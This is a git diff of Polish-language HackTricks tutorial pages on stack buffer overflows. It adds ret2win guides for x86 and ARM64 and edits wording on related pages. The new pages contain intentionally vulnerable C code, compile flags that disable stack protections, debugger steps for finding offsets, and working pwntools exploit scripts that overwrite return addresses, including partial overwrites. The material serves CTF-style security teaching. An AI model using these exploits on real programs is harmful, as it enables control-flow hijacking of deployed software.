Innym interesującym syscall'em do wywołania jest **`mprotect`**, który pozwoliłby atakującemu **zmodyfikować uprawnienia strony w pamięci**. Może to być połączone z [**ret2shellcode**](../stack-overflow/stack-shellcode/).
|
||||
{% endhint %}
|
||||
|
||||
## Gadżety rejestrów
|
||||
|
@ -183,8 +183,8 @@ target.interactive()
|
|||
## Inne Przykłady i Odnośniki
|
||||
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
|
||||
* 64 bity, brak PIE, nx, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam.
|
||||
* 64 bity, brak PIE, nx, zapisz w pamięci ROP do wywołania `execve` i skocz tam.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof\_static/bkp16\_simplecalc/index.html)
|
||||
* 64 bity, nx, brak PIE, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam. Aby zapisać na stosie funkcję wykonującą operacje matematyczne, jest nadużywane.
|
||||
* 64 bity, nx, brak PIE, zapisz w pamięci ROP do wywołania `execve` i skocz tam. Aby zapisać na stosie funkcję wykonującą operacje matematyczne, jest nadużywane.
|
||||
* [https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals16\_feedme/index.html)
|
||||
* 64 bity, brak PIE, nx, BF canary, zapisz w pewnej pamięci ROP do wywołania `execve` i skocz tam.
|
||||
* 64 bity, brak PIE, nx, BF canary, zapisz w pamięci ROP do wywołania `execve` i skocz tam.
|
||||
|
|
|
@ -10,19 +10,19 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Co to jest przepełnienie stosu
|
||||
|
||||
**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane **nadpisują sąsiednie miejsce w pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu kontroli i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych.
|
||||
**Przepełnienie stosu** to podatność, która występuje, gdy program zapisuje więcej danych na stosie, niż jest mu przydzielone do przechowywania. Nadmiarowe dane **nadpisują sąsiednie miejsce w pamięci**, prowadząc do uszkodzenia poprawnych danych, zakłócenia przepływu sterowania i potencjalnie wykonania złośliwego kodu. Ten problem często wynika z użycia funkcji niebezpiecznych, które nie wykonują sprawdzania granic danych wejściowych.
|
||||
|
||||
Głównym problemem tego nadpisania jest to, że **zachowany wskaźnik instrukcji (EIP/RIP)** i **zachowany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie mógł nadpisać te wartości i **kontrolować przepływ wykonania programu**.
|
||||
|
||||
Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję więcej bajtów na stosie niż jest na niego zaalokowane**, co pozwala na nadpisanie innych części stosu.
|
||||
Podatność zazwyczaj pojawia się, gdy funkcja **kopiuję na stos więcej bajtów niż jest na niego zaalokowane**, co pozwala na nadpisanie innych części stosu.
|
||||
|
||||
Niektóre powszechne funkcje podatne na to to: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w podatny sposób, jeśli określona długość jest większa niż zaalokowana.
|
||||
Niektóre powszechne funkcje podatne na to są: **`strcpy`, `strcat`, `sprintf`, `gets`**... Ponadto funkcje takie jak **`fgets`**, **`read` & `memcpy`**, które przyjmują argument **długości**, mogą być używane w podatny sposób, jeśli określona długość jest większa niż zaalokowana.
|
||||
|
||||
Na przykład, następujące funkcje mogą być podatne:
|
||||
```c
|
||||
|
@ -41,7 +41,7 @@ Ponadto, gdy już zidentyfikujesz podatność na przepełnienie stosu, będziesz
|
|||
|
||||
W ten sposób, zamiast ręcznie określać potrzebne przesunięcie do kontrolowania EIP, można użyć jednej z tych sekwencji jako dopełnienia, a następnie znaleźć przesunięcie bajtów, które nadpisały ten adres.
|
||||
|
||||
Można to zrobić przy użyciu **pwntools**:
|
||||
Można to zrobić za pomocą **pwntools**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -63,29 +63,29 @@ pattern search $rsp #Search the offset given the content of $rsp
|
|||
## Wykorzystywanie przepełnień stosu
|
||||
|
||||
Podczas przepełnienia (przy założeniu, że rozmiar przepełnienia jest wystarczająco duży) będziesz mógł **nadpisać** wartości zmiennych lokalnych na stosie aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
|
||||
Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce, które użytkownik określił** w tym wskaźniku.
|
||||
Najczęstszym sposobem wykorzystania tego rodzaju podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ sterowania został przekierowany w miejsce wskazane przez użytkownika** w tym wskaźniku.
|
||||
|
||||
Jednakże, w innych scenariuszach może być wystarczające **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF).
|
||||
Jednakże, w innych scenariuszach może być wystarczające jedynie **nadpisanie wartości niektórych zmiennych na stosie** dla eksploatacji (jak w łatwych wyzwaniach CTF).
|
||||
|
||||
### Ret2win
|
||||
|
||||
W tego rodzaju wyzwaniach CTF, istnieje **funkcja** **wewnątrz** binariów, która **nigdy nie jest wywoływana** i **musisz ją wywołać, aby wygrać**. W tych wyzwaniach wystarczy znaleźć **przesunięcie do nadpisania adresu powrotu** i **znaleźć adres funkcji** do wywołania (zwykle [**ASLR**](../common-binary-protections-and-bypasses/aslr/) byłoby wyłączone), więc gdy podatna funkcja zakończy działanie, ukryta funkcja zostanie wywołana:
|
||||
|
||||
{% content-ref url="ret2win.md" %}
|
||||
[ret2win.md](ret2win.md)
|
||||
{% content-ref url="ret2win/" %}
|
||||
[ret2win](ret2win/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Shellcode na stosie
|
||||
|
||||
W tym scenariuszu atakujący może umieścić shellcode na stosie i wykorzystać kontrolowany EIP/RIP, aby przeskoczyć do shellcode i wykonać dowolny kod:
|
||||
|
||||
{% content-ref url="stack-shellcode.md" %}
|
||||
[stack-shellcode.md](stack-shellcode.md)
|
||||
{% content-ref url="stack-shellcode/" %}
|
||||
[stack-shellcode](stack-shellcode/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ROP i techniki Ret2...
|
||||
|
||||
Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprzedniej techniki: **Brak wykonalnego stosu (NX)**. Pozwala ona na wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binariach:
|
||||
Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprzedniej techniki: **Brak wykonalnego stosu (NX)**. I pozwala na wykonanie kilku innych technik (ret2lib, ret2syscall...), które zakończą się wykonaniem dowolnych poleceń poprzez nadużywanie istniejących instrukcji w binariach:
|
||||
|
||||
{% content-ref url="../rop-return-oriented-programing/" %}
|
||||
[rop-return-oriented-programing](../rop-return-oriented-programing/)
|
||||
|
@ -93,7 +93,7 @@ Ta technika stanowi podstawową strukturę do obejścia głównej ochrony poprze
|
|||
|
||||
## Rodzaje zabezpieczeń
|
||||
|
||||
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je w:
|
||||
Istnieje kilka zabezpieczeń próbujących zapobiec wykorzystaniu podatności, sprawdź je:
|
||||
|
||||
{% content-ref url="../common-binary-protections-and-bypasses/" %}
|
||||
[common-binary-protections-and-bypasses](../common-binary-protections-and-bypasses/)
|
||||
|
|
127
binary-exploitation/stack-overflow/ret2win/README.md
Normal file
|
@ -0,0 +1,127 @@
|
|||
# Ret2win
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Wyzwania Ret2win** są popularną kategorią w konkursach **Capture The Flag (CTF)**, szczególnie w zadaniach związanych z **eksploatacją binarną**. Celem jest wykorzystanie podatności w danym pliku binarnym do wykonania określonej, niezawołanej funkcji wewnątrz binarnego pliku, często nazwanej np. `win`, `flag`, itp. Ta funkcja, gdy jest wywoływana, zazwyczaj wyświetla flagę lub komunikat o sukcesie. Wyzwanie zazwyczaj polega na nadpisaniu **adresu powrotu** na stosie, aby zmienić przepływ wykonania na pożądaną funkcję. Oto bardziej szczegółowe wyjaśnienie wraz z przykładami:
|
||||
|
||||
### Przykład w języku C
|
||||
|
||||
Rozważ prosty program w języku C z podatnością i funkcją `win`, którą zamierzamy wywołać:
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations! You've called the win function.\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buf[64];
|
||||
gets(buf); // This function is dangerous because it does not check the size of the input, leading to buffer overflow.
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Aby skompilować ten program bez zabezpieczeń stosu i z wyłączonym **ASLR**, można użyć poniższej komendy:
|
||||
```sh
|
||||
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
|
||||
```
|
||||
* `-m32`: Skompiluj program jako 32-bitowy binarny (to jest opcjonalne, ale częste w wyzwaniach CTF).
|
||||
* `-fno-stack-protector`: Wyłącz zabezpieczenia przed przepełnieniem stosu.
|
||||
* `-z execstack`: Pozwól na wykonanie kodu ze stosu.
|
||||
* `-no-pie`: Wyłącz wykonywalne pliki o pozycji niezależnej, aby zapewnić, że adres funkcji `win` nie zmieni się.
|
||||
* `-o vulnerable`: Nazwij plik wyjściowy `vulnerable`.
|
||||
|
||||
### Wykorzystanie exploitu w Pythonie za pomocą Pwntools
|
||||
|
||||
Do eksploatacji użyjemy **pwntools**, potężnego frameworka CTF do pisania exploitów. Skrypt exploitu stworzy ładunek, aby przepełnić bufor i nadpisać adres powrotu adresem funkcji `win`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Set up the process and context for the binary
|
||||
binary_path = './vulnerable'
|
||||
p = process(binary_path)
|
||||
context.binary = binary_path
|
||||
|
||||
# Find the address of the win function
|
||||
win_addr = p32(0x08048456) # Replace 0x08048456 with the actual address of the win function in your binary
|
||||
|
||||
# Create the payload
|
||||
# The buffer size is 64 bytes, and the saved EBP is 4 bytes. Hence, we need 68 bytes before we overwrite the return address.
|
||||
payload = b'A' * 68 + win_addr
|
||||
|
||||
# Send the payload
|
||||
p.sendline(payload)
|
||||
p.interactive()
|
||||
```
|
||||
Aby znaleźć adres funkcji `win`, możesz użyć **gdb**, **objdump** lub innego narzędzia umożliwiającego inspekcję plików binarnych. Na przykład, z `objdump` możesz użyć:
|
||||
```sh
|
||||
objdump -d vulnerable | grep win
|
||||
```
|
||||
To polecenie pokaże ci zestawienie funkcji `win`, wraz z jej adresem początkowym.
|
||||
|
||||
Skrypt w języku Python wysyła starannie spreparowaną wiadomość, która po przetworzeniu przez funkcję `vulnerable_function` powoduje przepełnienie bufora i nadpisanie adresu powrotu na stosie adresem `win`. Gdy funkcja `vulnerable_function` zakończy działanie, zamiast wracać do `main` lub zakończyć, skacze do funkcji `win`, a wiadomość zostaje wyświetlona.
|
||||
|
||||
## Zabezpieczenia
|
||||
|
||||
* [**PIE**](../../common-binary-protections-and-bypasses/pie/) **powinno być wyłączone** aby adres był niezawodny w kolejnych wykonaniach, w przeciwnym razie adres, pod którym będzie przechowywana funkcja, nie będzie zawsze taki sam i będzie potrzebny jakiś wyciek, aby ustalić, gdzie jest załadowana funkcja `win`. W niektórych przypadkach, gdy funkcja powodująca przepełnienie to `read` lub podobna, można dokonać **Częściowego Nadpisania** 1 lub 2 bajtami, aby zmienić adres powrotu na funkcję `win`. Ze względu na działanie ASLR, ostatnie trzy heksadecymalne cyfry nie są losowo generowane, więc istnieje **1/16 szansa** (1 cyfra) na uzyskanie poprawnego adresu powrotu.
|
||||
* [**Canary na stosie**](../../common-binary-protections-and-bypasses/stack-canaries/) powinno być również wyłączone, w przeciwnym razie skompromitowany adres powrotu EIP nigdy nie zostanie wykonany.
|
||||
|
||||
## Inne przykłady i odnośniki
|
||||
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/ret2win](https://ir0nstone.gitbook.io/notes/types/stack/ret2win)
|
||||
* [https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html](https://guyinatuxedo.github.io/04-bof\_variable/tamu19\_pwn1/index.html)
|
||||
* 32 bity, brak ASLR
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw16\_warmup/index.html)
|
||||
* 64 bity z ASLR, z wyciekiem adresu binarnego
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/csaw18\_getit/index.html)
|
||||
* 64 bity, brak ASLR
|
||||
* [https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html](https://guyinatuxedo.github.io/05-bof\_callfunction/tu17\_vulnchat/index.html)
|
||||
* 32 bity, brak ASLR, podwójne małe przepełnienie, najpierw przepełnienie stosu i zwiększenie rozmiaru drugiego przepełnienia
|
||||
* [https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt\_strings/backdoor17\_bbpwn/index.html)
|
||||
* 32 bity, relro, brak canary, nx, brak pie, łańcuch formatujący do nadpisania adresu `fflush` funkcją win (ret2win)
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tamu19\_pwn2/index.html)
|
||||
* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win
|
||||
* [https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html](https://guyinatuxedo.github.io/15-partial\_overwrite/tuctf17\_vulnchat2/index.html)
|
||||
* 32 bity, nx, nic więcej, częściowe nadpisanie EIP (1 bajt) w celu wywołania funkcji win
|
||||
* [https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html](https://guyinatuxedo.github.io/35-integer\_exploitation/int\_overflow\_post/index.html)
|
||||
* Program sprawdza tylko ostatni bajt liczby, aby sprawdzić rozmiar wejścia, dlatego można dodać dowolny rozmiar, o ile ostatni bajt mieści się w dozwolonym zakresie. Następnie wejście powoduje przepełnienie bufora wykorzystane z ret2win.
|
||||
* [https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/](https://7rocky.github.io/en/ctf/other/blackhat-ctf/fno-stack-protector/)
|
||||
* 64 bity, relro, brak canary, nx, pie. Częściowe nadpisanie w celu wywołania funkcji win (ret2win)
|
||||
|
||||
## Przykład ARM64
|
||||
|
||||
{% content-ref url="ret2win-arm64.md" %}
|
||||
[ret2win-arm64.md](ret2win-arm64.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
190
binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md
Normal file
|
@ -0,0 +1,190 @@
|
|||
# Ret2win - arm64
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
Znajdź wprowadzenie do arm64 w:
|
||||
|
||||
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Kod 
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
void win() {
|
||||
printf("Congratulations!\n");
|
||||
}
|
||||
|
||||
void vulnerable_function() {
|
||||
char buffer[64];
|
||||
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
|
||||
}
|
||||
|
||||
int main() {
|
||||
vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Kompiluj bez flagi PIE i canary:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
```
|
||||
## Znajdowanie przesunięcia
|
||||
|
||||
### Opcja wzorca
|
||||
|
||||
Ten przykład został stworzony przy użyciu [**GEF**](https://github.com/bata24/gef):
|
||||
|
||||
Uruchom gdb z gef, stwórz wzorzec i użyj go:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
pattern create 200
|
||||
run
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1202).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
arm64 spróbuje powrócić do adresu w rejestrze x30 (który został skompromitowany), możemy go wykorzystać do znalezienia przesunięcia wzorca:
|
||||
```bash
|
||||
pattern search $x30
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1203).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Przesunięcie wynosi 72 (9x48).**
|
||||
|
||||
### Opcja przesunięcia stosu
|
||||
|
||||
Zacznij od uzyskania adresu stosu, w którym przechowywany jest rejestr pc:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
b *vulnerable_function + 0xc
|
||||
run
|
||||
info frame
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1204).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Teraz ustaw punkt przerwania po `read()` i kontynuuj do momentu wykonania `read()` oraz ustaw wzorzec, na przykład 13371337:
|
||||
```
|
||||
b *vulnerable_function+28
|
||||
c
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1205).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Znajdź, gdzie ten wzorzec jest przechowywany w pamięci:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Następnie: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1207).png" alt="" width="339"><figcaption></figcaption></figure>
|
||||
|
||||
## Brak PIE
|
||||
|
||||
### Regularne
|
||||
|
||||
Uzyskaj adres funkcji **`win`**:
|
||||
```bash
|
||||
objdump -d ret2win | grep win
|
||||
ret2win: file format elf64-littleaarch64
|
||||
00000000004006c4 <win>:
|
||||
```
|
||||
Wykorzystanie:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Configuration
|
||||
binary_name = './ret2win'
|
||||
p = process(binary_name)
|
||||
|
||||
# Prepare the payload
|
||||
offset = 72
|
||||
ret2win_addr = p64(0x00000000004006c4)
|
||||
payload = b'A' * offset + ret2win_addr
|
||||
|
||||
# Send the payload
|
||||
p.send(payload)
|
||||
|
||||
# Check response
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
### Off-by-2
|
||||
|
||||
Zamiast nadpisywać cały adres powrotu, nadpiszemy **tylko ostatnie 2 bajty** wartością `0x06c4`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Configuration
|
||||
binary_name = './ret2win'
|
||||
p = process(binary_name)
|
||||
|
||||
# Prepare the payload
|
||||
offset = 72
|
||||
ret2win_addr = p16(0x06c4)
|
||||
payload = b'A' * offset + ret2win_addr
|
||||
|
||||
# Send the payload
|
||||
p.send(payload)
|
||||
|
||||
# Check response
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
<figure><img src="../../../.gitbook/assets/image (1209).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
## Z PIE
|
||||
|
||||
{% hint style="success" %}
|
||||
Skompiluj binarny **bez argumentu `-no-pie`**
|
||||
{% endhint %}
|
||||
|
||||
### Off-by-2
|
||||
|
||||
Bez wycieku nie znamy dokładnego adresu funkcji wygrywającej, ale możemy poznać przesunięcie funkcji od binarnego pliku i wiedząc, że adres powrotu, który nadpisujemy, już wskazuje na bliski adres, jest możliwe wycieknięcie przesunięcia do funkcji wygrywającej (**0x7d4**) w tym przypadku i po prostu użyć tego przesunięcia:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1210).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Configuration
|
||||
binary_name = './ret2win'
|
||||
p = process(binary_name)
|
||||
|
||||
# Prepare the payload
|
||||
offset = 72
|
||||
ret2win_addr = p16(0x07d4)
|
||||
payload = b'A' * offset + ret2win_addr
|
||||
|
||||
# Send the payload
|
||||
p.send(payload)
|
||||
|
||||
# Check response
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
Ta technika wykorzystuje możliwość manipulacji **Wskaźnikiem Bazowym (EBP)** do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji **`leave; ret`**.
|
||||
Ta technika wykorzystuje możliwość manipulowania **Wskaźnikiem Bazowym (EBP)** do łańcuchowego wykonywania wielu funkcji poprzez ostrożne wykorzystanie rejestru EBP i sekwencji instrukcji **`leave; ret`**.
|
||||
|
||||
Jako przypomnienie, **`leave`** oznacza w zasadzie:
|
||||
```
|
||||
|
@ -28,47 +28,47 @@ I ponieważ **EBP znajduje się na stosie** przed EIP, możliwe jest jego kontro
|
|||
|
||||
### EBP2Ret
|
||||
|
||||
Ta technika jest szczególnie przydatna, gdy można **zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonywania.
|
||||
Ta technika jest szczególnie przydatna, gdy można **zmienić rejestr EBP, ale nie ma bezpośredniego sposobu na zmianę rejestru EIP**. Wykorzystuje zachowanie funkcji po zakończeniu ich wykonania.
|
||||
|
||||
